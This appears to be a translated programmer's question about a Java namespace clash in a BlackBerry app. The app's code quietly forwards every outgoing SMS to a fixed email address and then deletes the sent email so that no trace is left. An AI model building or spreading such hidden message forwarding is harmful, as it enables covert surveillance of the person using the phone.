インポートせずにアウトバウンドSMSをリッスンする方法はありますjavax.wireless.messaging
か?
デバイスから送信されたSMSをリッスンし、SMSのメッセージを電子メールで送信するアプリを作成しようとしていますが、エラーが発生します。
メッセージへの参照があいまいで、javax.wireless.messagingのクラスjavax.wireless.messaging.Messageとnet.rim.blackberry.api.mailのクラスnet.rim.blackberry.api.mail.Messageの両方が一致します
net.rim.blackberry.api.mail.Message
メールを送信するにはインポートする必要があります。
2つのパッケージが衝突しているように見えるので、これを回避する方法はありますか?
私のコード:
public void notifyIncomingMessage(MessageConnection messageconnection) {}
public void notifyOutgoingMessage(javax.wireless.messaging.Message message) {
try {
String address = message.getAddress();
String msg = null;
if ( message instanceof TextMessage ) {
TextMessage tm = (TextMessage)message;
msg = tm.getPayloadText();
} else if (message instanceof BinaryMessage) {
StringBuffer buf = new StringBuffer();
byte[] data = ((BinaryMessage) message).getPayloadData();
msg = new String(data, "UTF-8");
Store store = Session.getDefaultInstance().getStore();
Folder[] folders = store.list(Folder.SENT);
Folder sentfolder = folders[0];
Message in = new Message(sentfolder);
Address recipients[] = new Address[1];
recipients[0]= new Address("me@us.com", "user");
in.addRecipients(Message.RecipientType.TO, recipients);
in.setSubject("Outgoing sms");
in.setContent("You have just sent an sms to: " + address + "\n" + "Message: " + msg);
in.setPriority(Message.Priority.HIGH);
Transport.send(in);
in.setFlag(Message.Flag.OPENED, true);
Folder folder = in.getFolder();
folder.deleteMessage(in);
}
} catch (IOException me) {
System.out.println(me);
}
}
}